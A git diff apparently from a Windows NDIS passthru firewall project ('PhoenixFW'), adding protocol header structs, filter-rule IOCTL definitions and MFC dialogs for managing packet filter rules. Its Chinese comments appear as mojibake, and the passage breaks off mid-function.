// Éú´æʱ¼ä£¬¾ÍÊÇTTL + UCHAR ipProtocol; // ЭÒ飬¿ÉÄÜÊÇTCP¡¢UDP¡¢ICMPµÈ + USHORT ipChecksum; // УÑéºÍ + ULONG ipSource; // Ô´IPµØÖ· + ULONG ipDestination; // Ä¿±êIPµØÖ· +} IPHeader, *PIPHeader; + + +// define the tcp flags.... +#define TCP_FIN 0x01 +#define TCP_SYN 0x02 +#define TCP_RST 0x04 +#define TCP_PSH 0x08 +#define TCP_ACK 0x10 +#define TCP_URG 0x20 +#define TCP_ACE 0x40 +#define TCP_CWR 0x80 + +typedef struct _TCPHeader //20 bytes +{ + USHORT sourcePort; // 16λԴ¶Ë¿ÚºÅ + USHORT destinationPort; // 16λĿµÄ¶Ë¿ÚºÅ + ULONG sequenceNumber; // 32λÐòÁкŠ+ ULONG acknowledgeNumber; // 32λȷÈϺŠ+ + + UCHAR dataoffset; // ¸ß4λ±íʾÊý¾ÝÆ«ÒÆ + UCHAR flags; // 6λ±ê־λ + //FIN - 0x01 + //SYN - 0x02 + //RST - 0x04 + //PUSH- 0x08 + //ACK- 0x10 + //URG- 0x20 + //ACE- 0x40 + //CWR- 0x80 + + + USHORT windows; // 16λ´°¿Ú´óС + USHORT checksum; // 16λУÑéºÍ + USHORT urgentPointer; // 16λ½ô¼±Êý¾ÝÆ«ÒÆÁ¿ +} TCPHeader, *PTCPHeader; + +typedef struct _UDPHeader +{ + USHORT sourcePort; // Ô´¶Ë¿ÚºÅ + USHORT destinationPort;// Ä¿µÄ¶Ë¿ÚºÅ + USHORT len; // ·â°ü³¤¶È + USHORT checksum; // УÑéºÍ +} UDPHeader, *PUDPHeader; + + +typedef struct _ICMPHeader +{ + UCHAR type; + UCHAR code; + USHORT checksum; + USHORT id; + USHORT sequence; + ULONG timestamp; +} ICMPHeader, *PICMPHeader; + + +#endif // __PROTOINFO_H__ + + + + +/* + + + + + +#define ETHER_LENGTH 14 +#define IP_LENGTH 20 +#define TCP_LENGTH 20 +#define UDP_LENGTH 8 +#define ICMP_LENGTH 8 +#define ARP_LENGTH 28 +#define PSEUDO_LENGTH 12 +#define DATA_LENGTH 32 + + +typedef struct ether_hdr // 14 bytes +{ + u_char dhost[6]; //destination mac address + u_char shost[6]; //source mac address + u_short type; //IP ,ARP , RARP Next Layer Protocol IP:0800 ARP:0806 +} ETHER_HDR, *PETHER_HDR; + +// 4 byte ip address +typedef struct ip_addr +{ + u_char byte1; + u_char byte2; + u_char byte3; + u_char byte4; +} IP_ADDR, *PIP_ADDR; + + +typedef struct arp_hdr //28 bytes ARP_LENGTH +{ + u_short hrd; //hardware address space=0x0001 + u_short eth_type; //Ethernet type ....=0x0800 + u_char maclen; //Length of mac address=6 + u_char iplen; //Length of ip addres=4 + u_short opcode; //Request =1 Reply=2 (highbyte) + u_char smac[6]; //source mac address + ip_addr saddr; //Source ip address + u_char dmac[6]; //Destination mac address + ip_addr daddr; //Destination ip address + +} ARP_HDR, *PARP_HDR; + + + +typedef struct ip_hdr +{ + unsigned char ip_verlen; // 4-bit IPv4 version + // 4-bit header length (in 32-bit words) + unsigned char ip_tos; // IP type of service + unsigned short ip_totallength; // Total length + unsigned short ip_id; // Unique identifier + unsigned short ip_offset; // Fragment offset field + unsigned char ip_ttl; // Time to live + unsigned char ip_protocol; // Protocol(TCP,UDP etc) + unsigned short ip_checksum; // IP checksum + unsigned int ip_srcaddr; // Source address + unsigned int ip_destaddr; // Source address +} IPV4_HDR, *PIPV4_HDR, FAR * LPIPV4_HDR; + +typedef struct tcp_hdr //20 bytes +{ + u_short sport; //Source port + u_short dport; //Destination port + u_long seqno; //Sequence no + u_long ackno; //Ack no + u_char offset; //Higher level 4 bit indicates data offset + u_char flag; //Message flag + //FIN - 0x01 + //SYN - 0x02 + //RST - 0x04 + //PUSH- 0x08 + //ACK- 0x10 + //URG- 0x20 + //ACE- 0x40 + //CWR- 0x80 + + u_short win; + u_short checksum; + u_short uptr; +} TCP_HDR, *PTCP_HDR; + + +//For checksum calculation purpose +struct pseudo_hdr //12 bytes +{ + unsigned int saddr; // Source address + unsigned int daddr; // Destination address + u_char zero; + u_char proto; // Protocol + u_short tcp_len; + tcp_hdr tcp; +}; + +typedef struct icmp_hdr +{ + unsigned char icmp_type; + unsigned char icmp_code; + unsigned short icmp_checksum; + unsigned short icmp_id; + unsigned short icmp_sequence; + unsigned long icmp_timestamp; +} ICMP_HDR, *PICMP_HDR, FAR *LPICMP_HDR; + + + + + */ \ No newline at end of file diff --git a/Project/Network and Communication/Phoenix/sys/sources b/Project/Network and Communication/Phoenix/sys/sources new file mode 100644 index 0000000..9d8c62f --- /dev/null +++ b/Project/Network and Communication/Phoenix/sys/sources @@ -0,0 +1,45 @@ +TARGETNAME=passthru +TARGETPATH=obj +TARGETTYPE=DRIVER + +C_DEFINES=$(C_DEFINES) -DNDIS_MINIPORT_DRIVER -DNDIS_WDM=1 + + +!if !defined(DDK_TARGET_OS) || "$(DDK_TARGET_OS)"=="Win2K" +# +# The driver is built in the Win2K build environment +# +C_DEFINES=$(C_DEFINES) -DNDIS40_MINIPORT=1 +C_DEFINES=$(C_DEFINES) -DNDIS40=1 +!else +# +# The driver is built in the XP or .NET build environment +# So let us build NDIS 5.1 version. +# +C_DEFINES=$(C_DEFINES) -DNDIS51_MINIPORT=1 +C_DEFINES=$(C_DEFINES) -DNDIS51=1 +!endif + +# Uncomment the following to build for Win98/SE/WinMe +# This causes several APIs that are not present in Win9X to be +# ifdef'ed out. +# C_DEFINES=$(C_DEFINES) -DWIN9X=1 + +PRECOMPILED_INCLUDE=precomp.h +PRECOMPILED_PCH=precomp.pch +PRECOMPILED_OBJ=precomp.obj + +TARGETLIBS=$(DDK_LIB_PATH)\ndis.lib + +USE_MAPSYM=1 + +INCLUDES= + +SOURCES=\ + miniport.c \ + passthru.c \ + passthru.rc \ + protocol.c \ + PTEXTEND.C \ + filter.c + diff --git a/Project/Network and Communication/Phoenix/user/PhoenixFW/IMIoControl.cpp b/Project/Network and Communication/Phoenix/user/PhoenixFW/IMIoControl.cpp new file mode 100644 index 0000000..dc88be2 --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixFW/IMIoControl.cpp @@ -0,0 +1,6 @@ +//////////////////////////////////////////////////// +// IMIoControl.cppÎļþ + + + + diff --git a/Project/Network and Communication/Phoenix/user/PhoenixFW/IMIoControl.h b/Project/Network and Communication/Phoenix/user/PhoenixFW/IMIoControl.h new file mode 100644 index 0000000..62cc0db --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixFW/IMIoControl.h @@ -0,0 +1,21 @@ +////////////////////////////////////////////// +// IMIoControl.hÎļþ + + + + + + + + + + + + + + + + + + + diff --git a/Project/Network and Communication/Phoenix/user/PhoenixFW/IOCOMMON.H b/Project/Network and Communication/Phoenix/user/PhoenixFW/IOCOMMON.H new file mode 100644 index 0000000..2d6e289 --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixFW/IOCOMMON.H @@ -0,0 +1,98 @@ +////////////////////////////////////////////////////////////////// +// iocommon.hÎļþ + +#ifndef __IOCOMMON__H +#define __IOCOMMON__H + + +////////////////////////////////////////////////////////// +// ¶¨ÒåIOÊý¾ÝÀàÐÍ + + +typedef struct _PTUSERIO_OID_DATA +{ + ULONG Oid; + ULONG Length; + UCHAR Data[1]; +}PTUSERIO_OID_DATA, *PPTUSERIO_OID_DATA; + + +// ÍøÂç»î¶¯×´Ì¬ +typedef struct _PassthruStatistics +{ + ULONG nMPSendPktsCt; // ͨ¹ýMPSendPacketsµÄ·â°ü + ULONG nMPSendPktsDropped; // ÔÚMPSendPacketsÖжªÆúµÄ·â°ü + ULONG nPTRcvCt; // ͨ¹ýPTReceiveµÄ·â°ü + ULONG nPTRcvDropped; // ÔÚPTReceiveÖжªÆúµÄ·â°ü + ULONG nPTRcvPktCt; // ͨ¹ýPTReceivePacketµÄ·â°ü + ULONG nPTRcvPktDropped; // ÔÚPTReceivePacketÖжªÆúµÄ·â°ü +}PassthruStatistics, *PPassthruStatistics; + +// ¹ýÂ˹æÔò +typedef struct _PassthruFilter +{ + USHORT protocol; // ʹÓõÄЭÒé + + ULONG sourceIP; // Ô´IPµØÖ· + ULONG sourceMask; // Ô´µØÖ·ÆÁ±ÎÂë ÕâÀïʹÓÃÆÁ±ÎÂëÊÇΪÁËÄܹ»ÉèÖÃÒ»¸öIPµØÖ··¶Î§ + + ULONG destinationIP; // Ä¿µÄIPµØÖ· + ULONG destinationMask; // Ä¿µÄµØÖ·ÆÁ±ÎÂë + + USHORT sourcePort; // Ô´¶Ë¿ÚºÅ + USHORT destinationPort; // Ä¿µÄ¶Ë¿ÚºÅ + + BOOLEAN bDrop; // ÊÇ·ñ¶ªÆú´Ë·â°ü + +}PassthruFilter, *PPassthruFilter; + + +//////////////////////////////////////////////////////////// +// ¶¨ÒåIO¿ØÖÆ´úÂë + +#define FSCTL_PTUSERIO_BASE FILE_DEVICE_NETWORK + +// ö¾Ù°ó¶¨µÄÊÊÅäÆ÷ +#define IOCTL_PTUSERIO_ENUMERATE \ + CTL_CODE(FSCTL_PTUSERIO_BASE, 0x201, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +// ´ò¿ªÒ»¸öÊÊÅäÆ÷ +#define IOCTL_PTUSERIO_OPEN_ADAPTER \ + CTL_CODE(FSCTL_PTUSERIO_BASE, 0x202, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +#define IOCTL_PTUSERIO_SET_OID \ + CTL_CODE(FSCTL_PTUSERIO_BASE, 0x203, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +#define IOCTL_PTUSERIO_QUERY_OID \ + CTL_CODE(FSCTL_PTUSERIO_BASE, 0x204, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + + + +// »ñÈ¡ÍøÂç»î¶¯×´Ì¬ +#define IOCTL_PTUSERIO_QUERY_STATISTICS \ + CTL_CODE(FSCTL_PTUSERIO_BASE, \ + 0x205, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +// ÖØÉèÍøÂç»î¶¯×´Ì¬ +#define IOCTL_PTUSERIO_RESET_STATISTICS \ + CTL_CODE(FSCTL_PTUSERIO_BASE, \ + 0x206, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +// Ìí¼ÓÒ»¸ö¹ýÂ˹æÔò +#define IOCTL_PTUSERIO_ADD_FILTER \ + CTL_CODE(FSCTL_PTUSERIO_BASE, \ + 0x207, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +// Çå³ý¹ýÂ˹æÔò +#define IOCTL_PTUSERIO_CLEAR_FILTER \ + CTL_CODE(FSCTL_PTUSERIO_BASE, \ + 0x208, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + + +#endif // __IOCOMMON__H + + + + + + diff --git a/Project/Network and Communication/Phoenix/user/PhoenixFW/KerRuleDlg.cpp b/Project/Network and Communication/Phoenix/user/PhoenixFW/KerRuleDlg.cpp new file mode 100644 index 0000000..3e80988 --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixFW/KerRuleDlg.cpp @@ -0,0 +1,149 @@ +// KerRuleDlg.cpp : implementation file +// + +#include "stdafx.h" +#include "PhoenixFW.h" +#include "KerRuleDlg.h" + +#ifdef _DEBUG +#define new DEBUG_NEW +#undef THIS_FILE +static char THIS_FILE[] = __FILE__; +#endif + +///////////////////////////////////////////////////////////////////////////// +// CKerRuleDlg dialog + +PassthruFilter CKerRuleDlg::m_RuleItem; + + +CKerRuleDlg::CKerRuleDlg(CWnd* pParent /*=NULL*/) + : CDialog(CKerRuleDlg::IDD, pParent) +{ + //{{AFX_DATA_INIT(CKerRuleDlg) + // NOTE: the ClassWizard will add member initialization here + //}}AFX_DATA_INIT +} + + +void CKerRuleDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); + //{{AFX_DATA_MAP(CKerRuleDlg) + DDX_Control(pDX, IDC_SOURCE_PORT, m_SourcePort); + DDX_Control(pDX, IDC_SOURCE_MASK, m_SourceMask); + DDX_Control(pDX, IDC_SOURCE_IP, m_SourceIP); + DDX_Control(pDX, IDC_RULE_PROTOCOL, m_RuleProtocol); + DDX_Control(pDX, IDC_RULE_ACTION, m_RuleAction); + DDX_Control(pDX, IDC_DEST_PORT, m_DestPort); + DDX_Control(pDX, IDC_DEST_MASK, m_DestMask); + DDX_Control(pDX, IDC_DEST_IP, m_DestIP); + //}}AFX_DATA_MAP +} + + +BEGIN_MESSAGE_MAP(CKerRuleDlg, CDialog) + //{{AFX_MSG_MAP(CKerRuleDlg) + //}}AFX_MSG_MAP +END_MESSAGE_MAP() + +///////////////////////////////////////////////////////////////////////////// +// CKerRuleDlg message handlers + + +BOOL CKerRuleDlg::OnInitDialog() +{ + CDialog::OnInitDialog(); + + // ³õʼ»¯ÊµÊ©¶¯×÷×éºÏ¿ò×ÊÔ´ + m_RuleAction.SetItemData(m_RuleAction.AddString(L"·ÅÐÐ"), 0); + m_RuleAction.SetItemData(m_RuleAction.AddString(L"¾Ü¾ø"), 1); + m_RuleAction.SetCurSel(0); + + // ³õʼ»¯Ð­Òé×éºÏ¿ò×ÊÔ´ + m_RuleProtocol.SetItemData(m_RuleProtocol.AddString(L"È«²¿"), 0); + m_RuleProtocol.SetItemData(m_RuleProtocol.AddString(L"TCP"), IPPROTO_TCP); + m_RuleProtocol.SetItemData(m_RuleProtocol.AddString(L"UDP"), IPPROTO_UDP); + m_RuleProtocol.SetItemData(m_RuleProtocol.AddString(L"ICMP"), IPPROTO_ICMP); + m_RuleProtocol.SetCurSel(0); + + // ÉèÖÃʵʩ¶¯×÷×éºÏ¿ò + m_RuleAction.SetCurSel(m_RuleItem.bDrop); + + // ÉèÖÃЭÒé×éºÏ¿ò + for(int i=0; i 65535 || nPort < 0) + { + AfxMessageBox(L"Ô´¶Ë¿ÚºÅÎÞЧ£¬ÓÐЧ·¶Î§Îª 0 - 65535£¬ÇëÖØÐÂÊäÈë¡£"); + m_SourcePort.SetFocus(); + return ; + } + tmpRule.sourcePort = nPort; + + // »ñÈ¡Ä¿µÄ¶Ë¿ÚºÅ + m_DestPort.GetWindowText(strDestPort); + nPort = _ttoi(strDestPort); + if(nPort > 65535 || nPort < 0) + { + AfxMessageBox(L"Ä¿µÄ¶Ë¿ÚºÅÎÞЧ£¬ÓÐЧ·¶Î§Îª 0 - 65535£¬ÇëÖØÐÂÊäÈë¡£"); + m_DestPort.SetFocus(); + return ; + } + tmpRule.destinationPort = nPort; + + // ²ÉÈ¡µÄ¶¯×÷ + tmpRule.bDrop = (BOOLEAN)m_RuleAction.GetItemData(m_RuleAction.GetCurSel()); + // ЭÒé + tmpRule.protocol = (USHORT)m_RuleProtocol.GetItemData(m_RuleProtocol.GetCurSel()); + // Ô´IPºÍÑÚλÂë¡£×¢Ò⣬CIPAddressCtrlÀàÊÇÒÔÖ÷»ú×Ö½Ú˳Ðò·µ»ØIPµØÖ·µÄ + m_SourceIP.GetAddress(tmpRule.sourceIP); + m_SourceMask.GetAddress(tmpRule.sourceMask); + + // Ä¿µÄIPºÍÑÚλÂë + m_DestIP.GetAddress(tmpRule.destinationIP); + m_DestMask.GetAddress(tmpRule.destinationMask); + + m_RuleItem = tmpRule; + CDialog::OnOK(); +} diff --git a/Project/Network and Communication/Phoenix/user/PhoenixFW/KerRuleDlg.h b/Project/Network and Communication/Phoenix/user/PhoenixFW/KerRuleDlg.h new file mode 100644 index 0000000..27d617e --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixFW/KerRuleDlg.h @@ -0,0 +1,57 @@ +#if !defined(AFX_KERRULEDLG_H__EC299161_1FC0_448A_91CD_64CB2FCBDBD6__INCLUDED_) +#define AFX_KERRULEDLG_H__EC299161_1FC0_448A_91CD_64CB2FCBDBD6__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 +// KerRuleDlg.h : header file +// + +///////////////////////////////////////////////////////////////////////////// +// CKerRuleDlg dialog + +class CKerRuleDlg : public CDialog +{ +public: + static PassthruFilter m_RuleItem; // ÒªÌí¼ÓµÄ¹ýÂ˹æÔò + +// Construction +public: + CKerRuleDlg(CWnd* pParent = NULL); // standard constructor + +// Dialog Data + //{{AFX_DATA(CKerRuleDlg) + enum { IDD = IDD_KERRULE }; + CEdit m_SourcePort; + CIPAddressCtrl m_SourceMask; + CIPAddressCtrl m_SourceIP; + CComboBox m_RuleProtocol; + CComboBox m_RuleAction; + CEdit m_DestPort; + CIPAddressCtrl m_DestMask; + CIPAddressCtrl m_DestIP; + //}}AFX_DATA + + +// Overrides + // ClassWizard generated virtual function overrides + //{{AFX_VIRTUAL(CKerRuleDlg) + protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support + //}}AFX_VIRTUAL + +// Implementation +protected: + + // Generated message map functions + //{{AFX_MSG(CKerRuleDlg) + virtual void OnOK(); + virtual BOOL OnInitDialog(); + //}}AFX_MSG + DECLARE_MESSAGE_MAP() +}; + +//{{AFX_INSERT_LOCATION}} +// Microsoft Visual C++ will insert additional declarations immediately before the previous line. + +#endif // !defined(AFX_KERRULEDLG_H__EC299161_1FC0_448A_91CD_64CB2FCBDBD6__INCLUDED_) diff --git a/Project/Network and Communication/Phoenix/user/PhoenixFW/KerRulePage.cpp b/Project/Network and Communication/Phoenix/user/PhoenixFW/KerRulePage.cpp new file mode 100644 index 0000000..d398465 --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixFW/KerRulePage.cpp @@ -0,0 +1,190 @@ +// KerRulePage.cpp : implementation file +// + +#include "stdafx.h" +#include "PhoenixFW.h" +#include "KerRulePage.h" + +#include "KerRuleDlg.h" + +#ifdef _DEBUG +#define new DEBUG_NEW +#undef THIS_FILE +static char THIS_FILE[] = __FILE__; +#endif + +///////////////////////////////////////////////////////////////////////////// +// CKerRulePage property page + +IMPLEMENT_DYNCREATE(CKerRulePage, CPropertyPage) + +CKerRulePage::CKerRulePage() : CPropertyPage(CKerRulePage::IDD) +{ + //{{AFX_DATA_INIT(CKerRulePage) + // NOTE: the ClassWizard will add member initialization here + //}}AFX_DATA_INIT +} + +CKerRulePage::~CKerRulePage() +{ +} + +void CKerRulePage::DoDataExchange(CDataExchange* pDX) +{ + CPropertyPage::DoDataExchange(pDX); + //{{AFX_DATA_MAP(CKerRulePage) + DDX_Control(pDX, IDC_KERRULES, m_kerrules); + //}}AFX_DATA_MAP +} + + +BEGIN_MESSAGE_MAP(CKerRulePage, CPropertyPage) + //{{AFX_MSG_MAP(CKerRulePage) + ON_BN_CLICKED(IDC_KERADD, OnKeradd) + ON_BN_CLICKED(IDC_KERDEL, OnKerdel) + //}}AFX_MSG_MAP +END_MESSAGE_MAP() + +///////////////////////////////////////////////////////////////////////////// +// CKerRulePage message handlers + +BOOL CKerRulePage::OnInitDialog() +{ + CPropertyPage::OnInitDialog(); + + // ³õʼ»¯ÁбíÊÓͼ¿Ø¼þ + m_kerrules.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES); + m_kerrules.InsertColumn(0, L"Ô´IPµØÖ·", LVCFMT_LEFT, sizeof(L"Ô´IPµØÖ·")*8, 0); + m_kerrules.InsertColumn(1, L"Ô´ÆÁ±Îλ", LVCFMT_LEFT, sizeof( L"Ô´ÆÁ±Îλ")*8, 1); + m_kerrules.InsertColumn(2, L"Ô´¶Ë¿Ú", LVCFMT_LEFT, sizeof(L"Ô´¶Ë¿Ú")*8, 2); + m_kerrules.InsertColumn(3, L"Ä¿µÄIPµØÖ·", LVCFMT_LEFT, sizeof(L"Ä¿IPµØÖ·")*8, 3); + m_kerrules.InsertColumn(4, L"Ä¿µÄÆÁ±Îλ", LVCFMT_LEFT, sizeof(L"Ä¿ÆÁ±Îλ")*8, 4); + m_kerrules.InsertColumn(5, L"Ä¿µÄ¶Ë¿Ú", LVCFMT_LEFT, sizeof(L"Ä¿¶Ë¿Ú")*8, 5); + m_kerrules.InsertColumn(6, L"ЭÒé", LVCFMT_LEFT, sizeof(L"ЭÒé")*8, 6); + m_kerrules.InsertColumn(7, L"¶¯×÷", LVCFMT_LEFT, sizeof(L"¶¯×÷")*8, 7); + + UpdateList(); + + return TRUE; // return TRUE unless you set the focus to a control + // EXCEPTION: OCX Property Pages should return FALSE +} + +void CKerRulePage::UpdateList() +{ + // Çå¿ÕÁбí + m_kerrules.DeleteAllItems(); + // ÏòÁбíÖÐÌí¼Ó¹æÔò + for(int i=0; i<(int)g_RuleFile.m_header.ulKerRuleCount; i++) + AddRuleToList(&g_RuleFile.m_pKerRules[i]); +} + +void CKerRulePage::AddRuleToList(PPassthruFilter pItem, int nEditIndex) +{ + int nIndex = m_kerrules.GetItemCount(); + if(nEditIndex >= 0) + nIndex = nEditIndex; + else + m_kerrules.InsertItem(nIndex, L"", 0); + + WCHAR wszTemp[6]; + + BYTE *pByte ; + WCHAR wszIP[32]; + + // Ô´IPµØÖ· + pByte = (BYTE*)&pItem->sourceIP; + wsprintf(wszIP, L"%d.%d.%d.%d", pByte[3], pByte[2], pByte[1], pByte[0]); + CString s = (pItem->sourceIP == 0) ? L"ËùÓÐ" : wszIP; + m_kerrules.SetItemText(nIndex, 0, s); + // Ô´IPλÑÚÂë + pByte = (BYTE*)&pItem->sourceMask; + wsprintf(wszIP, L"%d.%d.%d.%d", pByte[3], pByte[2], pByte[1], pByte[0]); + m_kerrules.SetItemText(nIndex, 1, wszIP); + // Ô´¶Ë¿ÚºÅ + s = (pItem->sourcePort == 0) ? L"ËùÓÐ" : ::_itot(pItem->sourcePort, wszTemp, 10); + m_kerrules.SetItemText(nIndex, 2, s); + // Ä¿µÄIPµØÖ· + pByte = (BYTE*)&pItem->destinationIP; + wsprintf(wszIP, L"%d.%d.%d.%d", pByte[3], pByte[2], pByte[1], pByte[0]); + s = (pItem->destinationIP == 0) ? L"ËùÓÐ" : wszIP; + m_kerrules.SetItemText(nIndex, 3, s); + // Ä¿µÄIPλÑÚÂë + pByte = (BYTE*)&pItem->destinationMask; + wsprintf(wszIP, L"%d.%d.%d.%d", pByte[3], pByte[2], pByte[1], pByte[0]); + m_kerrules.SetItemText(nIndex, 4, wszIP); + // Ä¿µÄ¶Ë¿ÚºÅ + s = (pItem->destinationPort == 0) ? L"ËùÓÐ" : ::_itot(pItem->destinationPort, wszTemp, 10); + m_kerrules.SetItemText(nIndex, 5, s); + // ЭÒé + if(pItem->protocol == 1) + m_kerrules.SetItemText(nIndex, 6, L"ICMP"); + else if(pItem->protocol == 6) + m_kerrules.SetItemText(nIndex, 6, L"TCP"); + else if(pItem->protocol == 17) + m_kerrules.SetItemText(nIndex, 6, L"UDP"); + else + m_kerrules.SetItemText(nIndex, 6, L"ËùÓÐ"); + // ¶¯×÷ + s = pItem->bDrop ? L"¶ªÆú" : L"·ÅÐÐ"; + m_kerrules.SetItemText(nIndex, 7, s); +} + +int CKerRulePage::InitAddRule() +{ + PPassthruFilter pItem = &CKerRuleDlg::m_RuleItem; + + // ÉèÖÃĬÈϹæÔò + memset(pItem, 0, sizeof(*pItem)); + pItem->destinationMask = -1; + pItem->sourceMask = -1; + pItem->bDrop = FALSE; + + // µ¯³ö¹æÔò¶Ô»°¿ò + CKerRuleDlg dlg; + if(dlg.DoModal() == IDCANCEL) + { + return -1; + } + + // ½«¹æÔòÌí¼Óµ½Îļþ¶ÔÏó + if(!g_RuleFile.AddKerRules(&CKerRuleDlg::m_RuleItem, 1)) + { + AfxMessageBox(L"Ìí¼Ó ºËÐIJ㠹æÔò´íÎó¡£"); + return -1; + } + + // ½«¹æÔòÌí¼Óµ½Áбí + AddRuleToList(&CKerRuleDlg::m_RuleItem); + return 0; +} + +void CKerRulePage::OnKeradd() // Ìí¼ÓÒ»¸ö¹æÔò +{ + if(InitAddRule() != 0) + return; + + // ÓÐЧÖ÷¶Ô»°¿òµÄÓ¦Óð´Å¥ + GetOwner()->GetOwner()->GetDlgItem(IDC_APPLY)->EnableWindow(TRUE); +} + +void CKerRulePage::OnKerdel() // ɾ³ýÒ»¸ö¹æÔò +{ + POSITION pos = m_kerrules.GetFirstSelectedItemPosition(); + if(pos == NULL) + { + MessageBox(L"ÇëÑ¡ÔñÒ»¸ö¹æÔò£¡"); + return; + } + + // »ñÈ¡ËùÑ¡¹æÔòµÄË÷Òý + int nIndex = m_kerrules.GetNextSelectedItem(pos); + + // ´ÓÎļþ¶ÔÏóÖн«¹æÔòɾ³ý + g_RuleFile.DelKerRule(nIndex); + + // ´ÓÁбíÖн«¹æÔòɾ³ý + m_kerrules.DeleteItem(nIndex); + + // ÓÐЧÖ÷¶Ô»°¿òµÄÓ¦Óð´Å¥ + GetOwner()->GetOwner()->GetDlgItem(IDC_APPLY)->EnableWindow(TRUE); +} diff --git a/Project/Network and Communication/Phoenix/user/PhoenixFW/KerRulePage.h b/Project/Network and Communication/Phoenix/user/PhoenixFW/KerRulePage.h new file mode 100644 index 0000000..310459a --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixFW/KerRulePage.h @@ -0,0 +1,57 @@ +#if !defined(AFX_KERRULEPAGE_H__AC6E2053_8D7F_4995_A46A_7C162DCD5C24__INCLUDED_) +#define AFX_KERRULEPAGE_H__AC6E2053_8D7F_4995_A46A_7C162DCD5C24__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 +// KerRulePage.h : header file +// + +///////////////////////////////////////////////////////////////////////////// +// CKerRulePage dialog + +class CKerRulePage : public CPropertyPage +{ + DECLARE_DYNCREATE(CKerRulePage) + +// Construction +public: + CKerRulePage(); + ~CKerRulePage(); + + void AddRuleToList(PPassthruFilter pItem, int nEditIndex = -1); + + int InitAddRule(); + + void UpdateList(); + +// Dialog Data + //{{AFX_DATA(CKerRulePage) + enum { IDD = IDD_KERRULE_CONTROL }; + CListCtrl m_kerrules; + //}}AFX_DATA + + +// Overrides + // ClassWizard generate virtual function overrides + //{{AFX_VIRTUAL(CKerRulePage) + protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support + //}}AFX_VIRTUAL + +// Implementation +protected: + // Generated message map functions + //{{AFX_MSG(CKerRulePage) + virtual BOOL OnInitDialog(); + afx_msg void OnKeradd(); + afx_msg void OnKerdel(); + //}}AFX_MSG + DECLARE_MESSAGE_MAP() + +}; + +//{{AFX_INSERT_LOCATION}} +// Microsoft Visual C++ will insert additional declarations immediately before the previous line. + +#endif // !defined(AFX_KERRULEPAGE_H__AC6E2053_8D7F_4995_A46A_7C162DCD5C24__INCLUDED_) diff --git a/Project/Network and Communication/Phoenix/user/PhoenixFW/MonitorPage.cpp b/Project/Network and Communication/Phoenix/user/PhoenixFW/MonitorPage.cpp new file mode 100644 index 0000000..97efe24 --- /dev/null +++ b/Project/Network and Communication/Phoenix/user/PhoenixFW/MonitorPage.cpp @@ -0,0 +1,227 @@ +// MonitorPage.cpp : implementation file +// + +#include "stdafx.h" +#include "PhoenixFW.h" +#include "MonitorPage.h" + +#include "RulePage.h" + +#include "PhoenixFWDlg.h" + +#ifdef _DEBUG +#define new DEBUG_NEW +#undef THIS_FILE +static char THIS_FILE[] = __FILE__; +#endif + +///////////////////////////////////////////////////////////////////////////// +// CMonitorPage property page + +extern CPhoenixApp theApp; + +IMPLEMENT_DYNCREATE(CMonitorPage, CPropertyPage) + +CMonitorPage::CMonitorPage() : CPropertyPage(CMonitorPage::IDD) +{ + //{{AFX_DATA_INIT(CMonitorPage) + // NOTE: the ClassWizard will add member initialization here + //}}AFX_DATA_INIT +} + +CMonitorPage::~CMonitorPage() +{ +} + +void CMonitorPage::DoDataExchange(CDataExchange* pDX) +{ + CPropertyPage::DoDataExchange(pDX); + //{{AFX_DATA_MAP(CMonitorPage) + DDX_Control(pDX, IDC_TREEMONITOR, m_MonitorTree); + //}}AFX_DATA_MAP +} + + +BEGIN_MESSAGE_MAP(CMonitorPage, CPropertyPage) + //{{AFX_MSG_MAP(CMonitorPage) + //}}AFX_MSG_MAP +END_MESSAGE_MAP() + +///////////////////////////////////////////////////////////////////////////// +// CMonitorPage message handlers + +BOOL CMonitorPage::OnInitDialog() +{ + CPropertyPage::OnInitDialog(); + + return TRUE; // return TRUE unless you set the focus to a control + // EXCEPTION: OCX Property Pages should return FALSE +} + + + +void CMonitorPage::HandleNotifySession(SESSION *pSession, int nCode) +{ + // µÃµ½µ±Ç°CMonitorPageÀàµÄÖ¸Õ루עÒ⣬HandleNotifySessionÊÇÒ»¸ö¾²Ì¬º¯Êý£© + CMonitorPage *pThis = &(((CMainDlg*)theApp.m_pMainWnd)->m_MonitorPage); + + // Ò»¸ö»á»°µÄÊôÐԸıäÁË + if(nCode == CODE_CHANGE_SESSION) + pThis->AddASession(pSession); + // Ò»¸ö»á»°±»É¾³ý + else if(nCode == CODE_DELETE_SESSION) + pThis->DeleteASession(pSession, FALSE); + // Ò»¸öÓ¦ÓóÌÐòÍ˳ö£¬ÎÒÃÇҪɾ³ý´ËÓ¦ÓóÌÐòµÄËùÓлỰ + else if(nCode == CODE_APP_EXIT) + pThis->DeleteASession(pSession, TRUE); +} + +void CMonitorPage::AddASession(SESSION *pSession) +{ + TRACE(L" AddASession... "); + + // Ê×ÏȲ鿴ËùÊôµÄÓ¦ÓóÌÐò£¬Èç¹ûûÓУ¬¾Í²åÈëÒ»¸öеÄÓ¦ÓóÌÐòÏî + // ÒªÔÚ´ËÓ¦ÓóÌÐòÏîÏÂÌí¼Ó»á»° + HTREEITEM 